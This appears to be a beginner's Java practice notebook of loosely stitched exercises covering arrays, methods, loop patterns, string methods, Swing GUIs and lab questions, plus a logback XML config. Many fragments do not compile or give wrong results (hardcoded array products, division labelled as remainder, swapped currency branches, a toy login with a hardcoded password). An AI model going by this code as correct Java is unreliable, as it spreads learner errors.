			System.out.println("Day " + (i + 1) + "'s high temperature:");
			temps[i] = scanner.nextInt();
			sum = sum + temps[i];
		}
		
		double average = (double) sum / days;
		int count = 0;
		for(int i=0; i< days; i++) {
			if(temps[i] > average) {
				count ++;
			}
		}
		
		System.out.printf("Average temp =   %.1f\n ", average);
		System.out.println(count + " Days above average");
		
		scanner.close();
	}
}
		
	
// output:
Enter, How many Days Temperature: 
7
Day 1's high temperature:
21
Day 2's high temperature:
24
Day 3's high temperature:
34
Day 4's high temperature:
32
Day 5's high temperature:
28
Day 6's high temperature:
27
Day 7's high temperature:
29
Average temp =   27.9
 4 Days above average
public static void main(String[] args) {
		//int [] numbers = new int[8];
		int [] numbers = {0, 3, 4, 5, 6, 7, 8, 9};
		
		for(int i= 0; i< numbers.length; i++) {
			System.out.print(numbers[i] + " ");
		}
		System.out.println();
	}
}

//output :
0 3 4 5 6 7 8 9 


public static void main(String[] args) {
		//int [] numbers = new int[8];
		int [] numbers = {0, 3, 4, 5, 6, 7, 8, 9};
		
		for(int i= 0; i< numbers.length; i++) {
			numbers[i] = 2 * numbers[i];
			System.out.print(numbers[i] + " ");
		}
		System.out.println();
	}
}
//output:
0 6 8 10 12 14 16 18 

public static void main(String[] args) {
		//int [] numbers = new int[8];
		int [] numbers = {0, 3, 4, 5, 6, 7, 8, 9};
		
		for(int i= 0; i< numbers.length; i++) {
			numbers[i] = 2 * i;
			System.out.print(numbers[i] + " ");
		}
		System.out.println();
	}
}
//output:
0 2 4 6 8 10 12 14 
public static void main(String[] args) {
		int a = 3;
		int b = 5;
		swap(a,b);
		System.out.println(a + " " + b);
		
	}
	public static void swap(int a, int b) {
		int temp = a; 
		a = b;
		b = temp;
		
	}
public static void main(String[] args) {

//Math Class
		double x ;
		double y;
		double z;
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter side x:");
		x = scanner.nextInt();
		
		System.out.println("Enter side y:");
		y = scanner.nextInt();
		
		z = Math.sqrt((x*x) + (y*y));
		System.out.println(z);
		
		scanner.close();
	}
}
String day = "Friday";
		
		switch( day) {
		case "Sunday": System.out.println("it's Sunday");
		break;
		case "Monday": System.out.println("it's Monady");
		break;
		case "Tuesday": System.out.println("it's Tuesday");
		break;
		case "Wensday": System.out.println("it's Wensday");
		break;
		case "Thursday": System.out.println("it's THursday");
		break;
		case "Friday": System.out.println("it's Friday");
		break;
		case "Sturday": System.out.println("it's Saturday");
		break;
		
		default : System.out.println("That'is Not A Day");
		}
	
	}
//Write a Java method that takes in an array of doubles and returns the product of all the doubles in the array.

public static void main(String[] args) {
		
		double[] Array1 = {2.9, 2.5, 5.6};
		double myProduct = products(Array1);
		System.out.printf("Product of array1 = %.2f " , myProduct);
		System.out.println();
}
public static double products(double[]arr) {
		double product = arr[0] * arr[1] * arr[2];
		for(int i=1;i<arr.length;i++) {
		}
		return product;
	}

//output 
Product of array1 = 40.60 
	public static void main(String[] args) {
      
//1. product array
		
		int[] Array1 = {2, 2, 5};
		int myProduct = products(Array1);
		System.out.println("Product of array1 = " + myProduct);

//2. Sum array
		int[] Array2  = {7, 5, 8, 9};
		int sum = sum(Array2);
		System.out.println("Sum of array2 are = " + sum);
		

//3. Max number in the array
		
		int[] array3 = {9, 100, 4};
		int max = getMax(array3);
		System.out.println("maximum number of array3 = " + max);
		
//4. Min number in the array
		
		int[] array4 = {10, 20, -2};
		int min = getMin(array4);
		System.out.println("minimum number of array4 = " + min);
	}
	
1.	
	public static int products(int[]arr) {
		int product = arr[0] * arr[1] * arr[2];
		for(int i=1;i<arr.length;i++) {
		}
		return product;
	}

2.	
	public static int sum(int[] arr) {
		int sum = arr[0] + arr[1] + arr[2] + arr[3];
		return sum;
	}

3.
	
	public static int getMax(int[] arr) {
		int max = arr[0];
		for(int i=0; i<arr.length;i++) {
			if(arr[i] > max) {
				max = arr[i];
			}
		}
		return max;
	}

4.
	
	public static int getMin(int[] arr) {
		int min = arr[0];
		for(int i=0; i<arr.length; i++) {
			if(arr[i]<min) {
				min = arr[i];
			}
		}
		return min;
	}
}

			
		
	

public static void main(String[] args) {
		int[] numbers = new int[8];
		numbers[1] = 3;
		numbers[4] = 99;
		numbers[6] = 2;
	
		int x = numbers[1];
		numbers[x] = 42;
		numbers[numbers[6]] = 11;
		
		for(int i=0; i<8; i++) {
			System.out.print(numbers[i] + " ");
		}
		System.out.println(); }
}
//output:
0 3 11 42 99 0 2 0 

name.length
for(int i=0; i<numbers.length; i++) {
			System.out.print(numbers[i] + " ");
		}
//output
0 3 11 42 99 0 2 0 

//sometimnes we assign each element a value in loop

		for(int i=0; i<8; i++) {
			numbers[i] = 2 * i;
			System.out.println(numbers[i]);
        }
//output.
0
2
4
6
8
10
12
14
public class methods {

	public static void main(String[] args) {
//we can initial array into two types:
		
//First This
		int[] array = {1, 2, 3, 4};
		System.out.println(array[0]);
		System.out.println(array[1]);
		System.out.println(array[2]);
		System.out.println(array[3]);

//Second This:
		System.out.println("--------");
		
		int[] array1 = new int[4];
		array1[0] = 10;
		array1[1] = 20;
		array1[2] = 30;
		array1[3] = 40;
		System.out.println(array1[0]);
		System.out.println(array1[1]);
		System.out.println(array1[2]);
		System.out.println(array1[3]);
		
		System.out.println("--------");
		
		
		String[] friends = {"ALi", "Mohamed", "Cade", "Yahya"};
		System.out.println(friends[0]);
		System.out.println(friends[1]);
		System.out.println(friends[2]);
		System.out.println(friends[3]);
		
		System.out.println("--------");
		
		
		String[] fruits = new String[5];
		fruits[0] = "Mango";
		fruits[1] = "Apple";
		fruits[2] = "Bannana";
		fruits[3] = "tomato";
		fruits[4] = "Limon";
		
		System.out.println(fruits[0]);
		System.out.println(fruits[1]);
		System.out.println(fruits[2]);
		System.out.println(fruits[3]);
		System.out.println(fruits[4]);
	
	}
}
public class methods {

	public static void main(String[] args) {
//question 1:
		HelloMessage();

//question 2:		
		double sum = sum(19.50, 100.60);
		System.out.println(sum);
		
//question 3:
		boolean number = number(9);
		System.out.println(number);
   //same
      boolean number = isEven(12);
		System.out.println(number);
		
//question 4:
		String full_name = name("Mohamed " , " Abdirizak");
		System.out.println(full_name);
      //same
      public static void main(String[] args) {
		String marged = concatt("Najma" , " Daud" , " Abdi");
		System.out.println(marged);
		
//question 5:
		double num = remainder(30 , 12);
		System.out.println(num);
		double numb = remainder(40, 12);
		System.out.println(numb);
      
//same Question 5:
        public static void main(String[] args) {
		remainder(28.5, 4.8);
	}
	

1.
	//we use method.
	public static void HelloMessage() {
		System.out.println("Hello world");
    }

2.	
	public static double sum(double a, double b) {
		double sum = a + b;
		return sum;
	}
3.	
	public static boolean number(int number) {
		if(number %2 ==0) {
			return true;
		}
		else {
			return false;
		}
	}
//same
      	public static boolean isEven(int x) {
		if(x%2 == 0)
			return true;
		else
			return false;
	}
4.	
      //we use Return Method.
	public static String name(String firstName, String secondName) {
		String full_name = firstName + secondName;
		return full_name.toUpperCase();
	}
 //same
        public static String concatt(String One , String Two, String Three) {
		String marged = One + Two + Three;
		return marged.toUppercase();
	}

5.
	public static double remainder(double x, double y) {
		double remainder = x / y;
		return remainder;
	}
//same
    public static void remainder(double x, double y) {
		double remainder = x / y;
		System.out.printf("remainder =  %.2f ", remainder);
	}
}
	
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

import javax.swing.BorderFactory;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JLabel;

public class GUI implements ActionListener {
	
	int count = 0;
	private JFrame frame;
	private JPanel panel;
	private JLabel label;
	
	
	//this public class is constructor.
	public GUI () {
		
		frame = new JFrame();
		
		JButton button = new JButton("Click me");
		button.addActionListener(this);
		
		label = new JLabel("Number of clicks:  0");
		
		
		panel = new JPanel();
		panel.setBorder(BorderFactory.createEmptyBorder(30, 30, 10, 30));
		panel.setLayout(new GridLayout(0, 1));
		panel.add(button);
		panel.add(label);
		
		
		frame.add(panel, BorderLayout.CENTER);
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setBackground(new Color(0, 20, 100));
		frame.setTitle("First GUI");
		frame.pack();
		frame.setVisible(true);
		
		button.setBackground(new Color (25, 100, 100));
		button.setForeground(new Color (100, 25, 255));
		
		label.setForeground(new Color (0, 20, 25));
		
		
	}

	public static void main(String[] args) {
		new GUI();

	}

	//we use this to increase count number.
	@Override
	public void actionPerformed(ActionEvent e) {
		count ++;
		label.setText("Number of clicks: " + count);
		
	}

}
public class stringmethods {

	public static void main(String[] args) {
		
		String name = "Mohamed Abdirizak Ali";
		
		System.out.println("Name: " + name);
		System.out.println("Uppercase: " + name.toUpperCase());
		System.out.println("Lowercase: " + name.toLowerCase());
		System.out.println("First char: " + name.charAt(0));
		System.out.println("Length: " + name.length());
		System.out.println("Last char: " + name.charAt(20));
		System.out.println("Your name: " + name.substring(0, 7));
		System.out.println("Your Father name: " + name.substring(8, 17));
	    System.out.println("Your surname is: " + name.substring(18, 21));
	}

}
//First way Method
public static void main(String[] args) {
		printMessage();
		add(5,9);
		multiply(10, 10);
  
        boolean sum = sum(3,1,5);
		System.out.println(sum);
	}
	
	public static void printMessage() {
		System.out.println("hapy birthday to you: ");
	}
	
	public static void add(int a, int b) {
		System.out.println(a + b);
	}

	public static void multiply(int a, int b) {
		System.out.println(a * b);
	}
}  //output: 
hapy birthday to you: 
14
100

// second way Return Method:
public static void main(String[] args) {
		int sum = add(5,9);
		System.out.println(sum);
		
		int product = multiply(10,10);
		System.out.println(product);
		
	}
	public static int add(int a, int b) {
		return a+b;
	}
	
	public static int multiply(int a, int b) {
		return a * b;
	}
}
//output:
14
100

// String type Method.
public static void main(String[] args) {
		String name = self("my name is mohamed, i am 20 years old!");
		System.out.println(name);
		
		String home = house("My house is very beautifull! ");
		System.out.println(home);
	}
	
	public static String self(String n) {
		return n.toLowerCase();
	}
	
	public static String house(String h) {
		return  h.toUpperCase();
	}
}

//Array Method:
public static void main(String[] args) {
		String array = myArray("This is my aweosme array:");
		System.out.println(array);
		
		int[] awesomeArray = arrayFromInt(4, 6, 7, 8);
		System.out.println(awesomeArray[0]);
		System.out.println(awesomeArray[1]);
		System.out.println(awesomeArray[2]);
		System.out.println(awesomeArray[3]);
	}
	
	public static String myArray(String a) {
		return a.toUpperCase();
	}
	
	public static int[] arrayFromInt(int a, int b, int c, int d) {
		int[] array = new int[4];
		array [0] = a;
		array [1] = b;
		array [2] = c;
		array [3] = d; 
		return array;
		
	}
//output: 
THIS IS MY AWEOSME ARRAY:
4
6
7
8

	public static boolean sum(int x, int y, int z) {
		if(x<=y && y<= z ) {
			return true;
		}
		else {
			return false;
		}
	}
}
//output: 
false




 public static void main (String args[]) {
        
       int number1 = (int)(Math.random() *10);
       int number2 = (int)(Math.random() *10);
	Scanner input = new Scanner(System.in);
        System.out.print("what is " + number1 + "+" + number2 + "?");
        int answer = input.nextInt();
        
        while(number1 + number2 != answer)
        {
            System.out.print("Wrong answer. Try again. What is " + number1 + "+" + number2 + "?");
            answer= input.nextInt();
        }
        System.out.println("You got it.");
}
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JLabel;
import javax.swing.JTextField;
import javax.swing.JPasswordField;
import javax.swing.JButton;

import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;



public class MainClass implements ActionListener {
	
	private static JLabel userLabel;
	private static JTextField userText;
	private static JLabel passwordLabel;
	private static JPasswordField passwordText;
	private static JButton button;
	private static JLabel success;
	public static void main(String[] args) {
		
		JPanel panel = new JPanel();
		JFrame frame = new JFrame();
		frame.setSize(350, 200);
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.add(panel);
		
		panel.setLayout(null);
		
		userLabel = new JLabel("User");
		userLabel.setBounds(10, 20, 80, 25);
		panel.add(userLabel);
		
		userText = new JTextField();
		userText.setBounds(100, 20, 165, 25);
		panel.add(userText);
		
		passwordLabel = new JLabel("Password");
		passwordLabel.setBounds(10, 50, 80, 25);
		panel.add(passwordLabel);
		
		passwordText = new JPasswordField();
		passwordText.setBounds(100, 50, 165, 25);
		panel.add(passwordText);
		
		button = new JButton("Login");
		button.setBounds(130, 90, 80, 30);
		button.addActionListener(new MainClass());
		panel.add(button);
		
		success = new JLabel("");
		success.setBounds(130, 110, 300, 30);
		panel.add(success);
		
		frame.setVisible(true);
	}
	


	@Override
	public void actionPerformed(ActionEvent e) {
		String user = userText.getText();
		@SuppressWarnings("deprecation")
		String password = passwordText.getText();
		
		if(user.equals("Mohamed") && password.equals("abc885932"))
		{
			success.setText("Login successful!");
		}
		else
		{
			success.setText("Wrong!, Please Try again");
		}
	}
}
-----
----
---
--
-
    for(int line=1; line<=5; line++)
        {
            for(int j=1; j<=5 - (line -1); j++)
            {
                System.out.print("-");
            }
            System.out.println();
        }
*
***
*****
*******
*********      for(int line=1; line<=5; line++)
        {
            for(int j=1; j<=(2* line -1); j++)
            {
                System.out.print("*");
            }
            System.out.println();
        }
*********
*******
*****
***
*        for(int line=5; line>=1; line--)
        {
            for(int j=1; j<=(2* line -1); j++)
            {
                System.out.print("*");
            }
            System.out.println();
        }
1
222
33333
4444444
555555555


for(int line=1; line<=5; line++)
        {
            for(int j=1; j<=(2* line -1); j++)
            {
                System.out.print(line);
            }
            System.out.println();
        }
        
-----
----*
---**
--***
-****
*****
  
  
  for(int line = 1; line <=6; line ++)
        {
          //for(int j=1; j<= ( 5- (line -1); j++))
            for(int j= 1; j<= (-1 * line + 6); j++)
            {
                System.out.print("-");
            }
            for(int k= 1; k<= (1* line -1); k++)
            {
                System.out.print("*");
            }
            
            System.out.println();
        }
-----
----*
---**
--***
-****
*****    for(int line=1; line<=6; line++)
        {
            for(int j=1; j<=5 - (line -1); j++)
            {
                System.out.print("-");
            }
        for(int k=1; k<= (line -1); k++)
        {
            System.out.print("*");
        }
        System.out.println();
        }
---1---
--222--
-33333-
4444444

for(int line = 1; line <=4; line ++)
        {
            for(int j= 1; j<= ( -1 * line +4); j++)
            {
                System.out.print("-");
            }
            for(int k= 1; k<= ( 2* line -1); k++)
            {
                System.out.print(line);
            }
            for(int j= 1; j<= ( -1 * line + 4); j++)
            {
                System.out.print("-");
            }
            System.out.println();
        }
              for(int line=1; line<=4; line++)
        {
            for(int j=1; j<=(-1 * line + 4); j++)
            {
                System.out.print(" ");
            }
            for(int k=1; k<= (2 * line -1); k++)
            {
                System.out.print("*");
            }
            System.out.println();
   *    }
  ***
 *****
*******    






---*---
--***--
-*****-
*******
  
  for(int line = 1; line <=4; line ++)
        {
          //for(int j=1; j<=4-line; j++)
            for(int j= 1; j<= ( -1 * line +4); j++)
            {
                System.out.print("-");
            }
            for(int k= 1; k<= ( 2* line -1); k++)
            {
                System.out.print("*");
            }
          //for(int j=1; j<=( 4- line); j++)
            for(int j= 1; j<= ( -1 * line + 4); j++)
            {
                System.out.print("-");
            }
            System.out.println();
        }
#================#
|      <><>      |
|    <>....<>    |
|  <>........<>  |
|<>............<>|
|<>............<>|
|  <>........<>  |
|    <>....<>    |
|      <><>      |
#================#
  
  
  public static void main(String[] args) {
        topHalf();
        bottomHalf();
    }
    public static void topHalf() {
        
        System.out.println("#================#");
        
    for ( int line = 1; line <=4; line ++)
    {
        System.out.print("|");
        for(int space = 1; space <= ( line * - 2 + 8); space ++)
        {
            System.out.print(" ");
        }
        System.out.print("<>");
        for(int dot = 1; dot <= (4 * line -4); dot ++)
        {
            System.out.print(".");
        }
        System.out.print("<>");
        for(int space = 1; space <= (line * - 2 + 8); space ++)
        {
            System.out.print(" ");
        }
        System.out.println("|");
    }
}
    public static void bottomHalf() {
        for(int line = 1; line <=4; line ++)
        {
            System.out.print("|");
            for(int space = 1; space <= ( 2 * line -2); space ++)
                {
                    System.out.print(" ");
                }
            System.out.print("<>");
            for(int dot = 1; dot <=( -4 * line + 16); dot ++)
            {
                System.out.print(".");
            }
            System.out.print("<>");
            for(int space = 1; space <= ( 2 * line -2); space++)
            {
                System.out.print(" ");
            }
            System.out.println("|");
        }
        System.out.print("#================#");
    }
}

....1
...2
..3
.4
5

for (int line = 1; line <=5; line++) 
      {
          for( int j= 1; j<= (-1 * line + 5); j++)
          {
              System.out.print(" . ");
          }
          System.out.println(line);
      }

....1
...22
..333
.4444
55555      for (int line = 1; line <=5; line++) 
      {
          for( int j= 1; j<= (-1 * line + 5); j++)
          {
              System.out.print(".");
          }
          for(int k = 1; k<= line; k++)
          {
              System.out.print(line);
          }
          System.out.println();
      }


....1
...2.
..3..
.4...
5....      for (int line = 1; line <=5; line++) 
      {
          for( int j= 1; j<= (-1 * line + 5); j++)
          {
              System.out.print(".");
          }
              System.out.print(line);
              for(int j=1; j<= (line - 1); j++)
              {
                  System.out.print(".");
              }
              System.out.println();
      }


. . . . .
. . . .
. . .
. . 
.
        for (int line = 1; line <=5; line++) 
      {
          for( int j= 1; j<= (5 - (line - 1)); j++)
          {
              System.out.print(" . ");
          }
          System.out.println();
      }
//output
4  7  10  13  16

for (int count = 1; count <=5; count++) 
      {
         System.out.print(3 * count + 1 + " ");
      }

//output
2 7 12 17 22 

 for (int count = 1; count <=5; count++) 
      {
              System.out.print(5 * count -3 + " ");
      }
// same output
int num = 2;
      for (int count = 1; count <=5; count++) 
      {
          System.out.print(num +" ");
          num = num + 5;
      }

// outpu
17  13 9 5 1

for (int count = 1; count <=5; count++) 
      {
          System.out.print(-4 * count + 21 +" ");
      }
//output
1
22
333
4444
55555        for (int i = 1; i <= 5; i++) 
           {
             for(int j= 1; j<=i; j++)
           {
              System.out.print( i );
           }
              System.out.println();
           }
55555
4444
333
22
1
          for (int i = 5; i >=1; i--) 
         {
          for(int j= 1; j<=i; j++)
         {
            System.out.print( i );
         }
            System.out.println();
           

55555
4444
333
22
1           
           
           for (int i = 1; i <=5; i++) 
         {
          for(int j= 1; j<= 5 - (i - 1); j++)
          {
              System.out.print(5- (i - 1));
          }
          System.out.println();
          
         }
          
55555
4444
333
22
1          
           
           int num = 5;
      for (int i = 1; i <=5; i++) 
      {
          for(int j= 1; j<=num; j++)
          {
              System.out.print(num);
          }
          num--;
          System.out.println();
          
      }
// output

 * 
 *  * 
 *  *  * 
 *  *  *  * 
 *  *  *  *  * 
   
                 for (int i = 1; i <= 5; i++) 
                {
                 for(int j= 1; j<=i; j++)
                {
                   System.out.print(" * ");
                }
                   System.out.println();
                }
                
 *  *  *  *  * 
 *  *  *  * 
 *  *  * 
 *  * 
 *             for (int i = 5; i >=1; i--) 
              {
               for(int j= 1; j<=i; j++)
              {
                System.out.print(" * ");
              }
                System.out.println();
              }
          
 //output
 *  *  *  *  *  *  *  *  *  * 
 *  *  *  *  *  *  *  *  *  * 
 *  *  *  *  *  *  *  *  *  * 
 *  *  *  *  *  *  *  *  *  * 
 *  *  *  *  *  *  *  *  *  * 
   
   for (int i = 1; i <= 5; i++)  // outer loop
      {
          for(int j= 1; j<=10; j++) // inner loop
          {
              System.out.print(" * ");
          }
          System.out.println(); // end the line
      }
    }
public static void main(String[] args) {
        
      Scanner scanner = new Scanner(System.in);
      
      System.out.println("Enter a character: ");
      char input = scanner.next().charAt(0);
      
      if(input >= 'A' && input <='Z')
      {
          System.out.println(input + " is an Upper Case character.");
      }
      else if ( input >= 'a' && input <= 'z')
      {
          System.out.println(input + " is a Lower Case character.");
      }
      else if ( input >= '0' && input <= '9')
      {
          System.out.println(input + " is a Digit character. ");
      }
      else
      {
          System.out.println(input + " is a valid. is not Upper Case, Lower Case and Digit character.");
      }
    }
}
/*Question 2.  
    Write a program that prompts the user to enter the exchange rate 
    from currency in U.S. dollars to Turkish Lira. 
    Prompt the user to enter 0 to convert from U.S. dollars to Turkish Lira
    and 1 to convert from Turkish Lira and U.S. dollars. 
    Prompt the user to enter the amount in U.S. dollars 
    or Turkish Lira to convert it to Turkish Lira or U.S. dollars, respectively.
        */
                
        Scanner scanner = new Scanner(System.in);
        
       
        System.out.println("Enter the rate of exchange:");
        double exchangeRate = scanner.nextDouble();
        
        System.out.println("press 0: to convert Dollar to Turkish Lira\npress 1: to convert Turkish Lira to Dollar  ");
        int choice = scanner.nextInt();
        double amount;
        if(choice == 1)
        {
            System.out.println("Enter the amount in Dollar: ");
            amount = scanner.nextDouble();
            amount = amount * exchangeRate;
            System.out.println("The amount in Dollar is: " + amount);
        }
        else if ( choice == 0)
        {
            System.out.println("Enter the amount in Turkish Lira: ");
            amount = scanner.nextDouble();
            amount = amount / exchangeRate;
            System.out.println("The amount in Turkish Lira is: " + amount);
        }
    }
}
import java.util.Scanner;
public class Lab_5 {

    public static void main(String[] args) {
        
/*Question 1. Write a program that prompts the user to enter a string 
        and determines whether it is a palindrome string. 
        A string is palindrome if it reads the same 
        from right to left and from left to right. */
                
        Scanner scanner = new Scanner(System.in);
        System.out.println("Enter a string:");
        String str = scanner.nextLine();
        
        int count = 0;
        for(int counter =0; counter < str.length(); counter++)
        {
            if(str.charAt(counter)==str.charAt(str.length()-1-counter))
                count = count + 1;
        }
        
        if( count == str.length())
        {
            System.out.println("The string " + str + " is palindrome");
        }
        else
        {
            System.out.println("The string " + str + " is not palindrome");
        }
    }
}
public static void main(String[] args) {
        
      Scanner scanner = new Scanner(System.in);
      
      System.out.println("what is your name : ");
      String name = scanner.next();
      
      
      if(name.startsWith("najma"))
      {
          System.out.println("welcome najma");
      }
      if(name.endsWith("mohamed"))
      {
          System.out.println("welcome mohamed");
      }
      else if( name.equalsIgnoreCase("najma"))
      {
          System.out.println("you are beautiful");
      }
      if (name.contains("najma mohamed"))
      {
          System.out.println("awesome, let's do it agian.");
      }
              
     
    }
}
Scanner scanner = new Scanner(System.in);
      
      System.out.println("what is your name: ");
      String name = scanner.next();
      
      if( name.equals("najma"))
      {
          System.out.println("İ love you very much, You love me: ");
      }
      System.out.println("Enter your answer. ");
      String answer = scanner.next();
      if(answer.equals("yes"))
      {
          System.out.println("we are happy family.");
      }
      else 
        {
          System.out.println("i hate you.")
        }
 1    2    3    4    5    6    7    8    9   10 
 2    4    6    8   10   12   14   16   18   20 
 3    6    9   12   15   18   21   24   27   30 

 for(int i=1; i <= 3; i++)
      {
          for(int j=1; j<=10; j++)
          {
              System.out.printf("%4d ", (i * j));
          }
          System.out.println();
      }
      
String name = "mohamed";
      name = name.toUpperCase();
      System.out.println("The uppercase of name is " +name);
      
      int length = name.length();
      System.out.println("The length of name is " +length);
      
      char first = name.charAt(2);
      System.out.println("The first letter of name is " +first);
import java.util.Scanner;
public class Exam_preparation {

    public static void main(String[] args) {
        
      Scanner scanner = new Scanner(System.in);
      int sum = 0;
      
      for(int i=1; i<=10; i++)
      {
          System.out.println("enter a number ");
          sum = sum + scanner.nextInt();
          //sum = sum + i;
      }
      System.out.println("the sum of number is " + sum);
    }
}
<?xml version="1.0" encoding="UTF-8"?>
<configuration>

    <property name="LOGS" value="./logs" />

    <appender name="Console"
              class="ch.qos.logback.core.ConsoleAppender">
        <layout class="ch.qos.logback.classic.PatternLayout">
            <Pattern>
                %black(%d{ISO8601}) %highlight(%-5level) [%blue(%t)] %yellow(%C{1.}): %msg%n%throwable
            </Pattern>
        </layout>
    </appender>

    <appender name="RollingFile"
              class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>${LOGS}/spring-boot-logger.log</file>
        <encoder
                class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
            <Pattern>%d %p %C{1.} [%t] %m%n</Pattern>
        </encoder>

        <rollingPolicy
                class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <!-- rollover daily and when the file reaches 10 MegaBytes -->
            <fileNamePattern>${LOGS}/archived/spring-boot-logger-%d{yyyy-MM-dd}.%i.log
            </fileNamePattern>
            <timeBasedFileNamingAndTriggeringPolicy
                    class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
                <maxFileSize>10MB</maxFileSize>
            </timeBasedFileNamingAndTriggeringPolicy>
        </rollingPolicy>
    </appender>

    <!-- LOG everything at INFO level -->
    <root level="info">
        <appender-ref ref="RollingFile" />
        <appender-ref ref="Console" />
    </root>

    <!-- LOG "com.baeldung*" at TRACE level -->
    <logger name="com.baeldung" level="trace" additivity="false">
        <appender-ref ref="RollingFile" />
        <appender-ref ref="Console" />
    </logger>

</configuration>
+----+
\    /
/    \
\    /
/    \
\    /
/    \
+----+
  
  public class Java_Quiz_App {

    public static void main(String[] args) {
        
        System.out.println("+----+");
      for (int i = 1; i <= 3; i++) 
      {
          System.out.println("\\    /");
          System.out.println("/    \\");
      }
        System.out.println("+----+");
    }
}
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;

public class ReadFileLineByLineUsingBufferedReader {

	public static void main(String[] args) {
		BufferedReader reader;

		try {
			reader = new BufferedReader(new FileReader("sample.txt"));
			String line = reader.readLine();

			while (line != null) {
				System.out.println(line);
				// read next line
				line = reader.readLine();
			}

			reader.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

}
import java.util.*;

class Solution {
    public static void main(String[] args) {
        String str = "sinstriiintng";

        int[] counts = new int[26];

        for (int i = 0; i < str.length(); i++)
            counts[str.charAt(i) - 'a']++;

        for (int i = 0; i < 26; i++)
            if (counts[i] > 1)
                System.out.println((char)(i + 'a') + " - " + counts[i]);
    }
}
import java.util.*;
public class Main
{
	public static void main(String[] args) {
		System.out.println("Hello World");
		int n=52;
		for(int i=2;i<=Math.sqrt(n);i++){
		    if(n%i==0){
		        System.out.print("YES");
		        System.exit(1);
		    }
		    
		      
		}
		
		        System.out.println("NOT");
		    
	}
}
import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        

//QUESTİON 8.	What is wrong in the following code? 


    Scanner scanner = new Scanner(System.in);
    
    System.out.println("Enter your score, please. ");
    Double score = scanner.nextDouble();
    
    if (score >= 90.0) 
        System.out.println("Your grade letter is: A");
    else if (score >= 80.0)
        System.out.println("Your grade letter is: B");
    else if (score >= 70.0)
        System.out.println("Your grade letter is: C");
    else if (score >= 60.0) 
        System.out.println("Your grade letter is: D");
    else
        System.out.println("Your grade letter is: F");
    
    }
}


/*output:
Enter your score, please. 
59.90
Your grade letter is: F
*/
import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*Question 6. 
re-write the following using nested if statements.
int numberOne,numberTwo,numberThree;
  please read the values from the keyboard
if(numberOne>numberTwo && numberTwo>numberThree)
{
System.out.println(“numberOne is the largest”);
}
*/

    Scanner scanner = new Scanner(System.in);
    
    System.out.println("Enter a number One, please: ");
    int numberOne = scanner.nextInt();
    
    System.out.println("Enter a number Two: ");
    int numberTwo = scanner.nextInt();
    
    System.out.println("Enter number Three: ");
    int numberThree = scanner.nextInt();
    
    if(numberOne > numberTwo && numberOne > numberThree)
    {
        System.out.println(numberOne + " = number One is largest. ");
    }
    if(numberTwo > numberOne && numberTwo > numberThree)
    {
        System.out.println(numberTwo + " = number Two is the largest. ");
    }
    else
    {
        System.out.println(numberThree +  " = number Three is largest. ");
    }
    }
}
import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*Question 5.What is the output of the code in (a) and (b) 
    if number is 30? What if number is 35? 

 if (number % 2 == 0)
 System.out.println(number + " is even."); 
 System.out.println(number + " is odd.");

 (a)

 if (number % 2 == 0) 
System.out.println(number + " is even."); 
else 
System.out.println(number + " is odd.");
		(b)
*/

    Scanner scanner = new Scanner(System.in);
    System.out.println("Enter a number: ");
    int number = scanner.nextInt();
    
    if(number % 2== 0)
    {
        System.out.println(number + ": is even");
    }
    else
    {
        System.out.println(number + ": is odd");
    }
    }
}

output: 
30 is even and odd 
35 is odd
import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*   Question 4.
write a program that increases score by 3 % if attendance 
 is greater than 9 and displays the final score.
*/
    Scanner scanner = new Scanner(System.in);
       
    System.out.println("Enter your score, Please: ");
    double score = scanner.nextDouble();
//data type   
    System.out.println("Enter the days you have attended, Please: ");
    int attendence = scanner.nextInt();
    
    if(attendence > 9)
    {
        score = score + score * 0.03;
    }
    System.out.println("Your final score is: "+score);
    
    }
}

//output:
/*Please Enter your score: 
80
Please Enter your attendence: 
10
Your final score is= 82.4
*/
import java.util.Scanner;
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*Question 3.
    Write a program that prompts the user to enter an integer. 
    If the number is a multiple of 5, the program displays HiFive. 
    If the number is divisible by 2, it displays HiEven.
*/
    Scanner scanner = new Scanner(System.in);
    System.out.println("Please Enter a number:");
    int number = scanner.nextInt();
    if(number % 2 == 0)
    {
        System.out.println("Hi Even ");
    }
    else if( number % 5 == 0)
    {
        System.out.println("Hi Five: ");
    }
    }
}
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
/*Question 2.	Can the following conversions  be allowed?
        What is this type of conversion called?
        Write a test program to verify your answer. 
       boolean b = true;
       i = (int)b;
       int i = 1; 
       boolean b = (boolean)i;
*/
//boolean cannot converte into i.
       boolean b = true;
       int i = (int)b;
       System.out.println(i);
       int i = 1; 
       boolean b = (boolean)i;
       
       // this is incorrect answer.
       
    }
}
public class BooleanExpression2 {
    

    public static void main(String[] args) {
        
        int x=1;
        /*
        System.out.println(x>0);
        System.out.println(x<0);
        System.out.println(x!=0);
        System.out.println(x>=0);
        System.out.println(x!=1);
        */
        
        //we make assigning value.
        
        boolean expressionOne, expressionTwo, expressionThree;
        expressionOne= x>0;
        expressionTwo = x<0;
        expressionThree = x!=0;
        
        System.out.println(expressionOne);
        System.out.println(expressionTwo);
        System.out.println(expressionThree);
       
    }
}
package com.mycompany.java_quiz_app;

import java.util.Scanner;

public class Java_Quiz_App {

    public static void main(String[] args) {
        
        Scanner scanner = new Scanner(System.in);
        System.out.println("what is the percent did you earn: ");
